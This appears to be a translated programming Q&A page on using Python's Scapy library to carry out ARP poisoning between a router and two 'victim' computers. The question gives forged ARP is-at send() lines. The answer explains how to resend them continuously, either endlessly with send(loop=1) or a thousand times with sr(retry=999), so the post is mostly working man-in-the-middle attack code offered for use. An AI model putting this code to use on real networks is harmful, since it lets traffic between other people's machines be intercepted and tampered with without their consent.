Python-2.7 Scapy将数据包重新传输到目标

时间:2015-09-24 17:18:11

标签: python scapy arp

做一个arp中毒,我正在连接1路由器和2个受害计算机。如何将数据包重新传输到目的地? (最好用scapy) 我有这个:

send(ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip))
send(ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip))

1 个答案:

答案 0 :(得分:1)

审核Scapy's API documentation表明这些替代方案:

  1. send函数接受另外两个可能有用的参数:

      

    loop:如果不是0,则无休止地发送数据包。
      inter:在两个数据包之间等待的时间(以秒为单位)。

    因此,执行以下语句将以无限循环方式发送数据包:

    send([ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip),
          ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)],
         inter=1, loop=1)
    
  2. sr函数接受3个可能有用的参数:

      

    retry:如果是肯定的,重新发送未答复的数据包的次数。如果是否定的,在放弃之前有多少连续未答复的探测器。只有负值才真正有用   timeout:在最后一个数据包发送后等待多长时间。通过   默认情况下,sr将永远等待,当用户不再需要答案时,用户必须打断( Ctrl-C )。
      inter:每个发送数据包之间等待的时间(以秒为单位)。

    由于预计不会收到发送的 ARP 数据包的答案,因此使用所需的值指定这些参数可以在有限的循环中发送数据包,这与之前的替代方案相反,后者强制执行无尽的。

    在不利方面,由于资源分配给数据包接收和处理,这可能效率稍低,但这可以忽略不计。

    因此,执行以下语句将以1000次迭代的有限循环发送数据包:

    sr([ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip),
        ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)],
       retry=999, inter=1, timeout=1)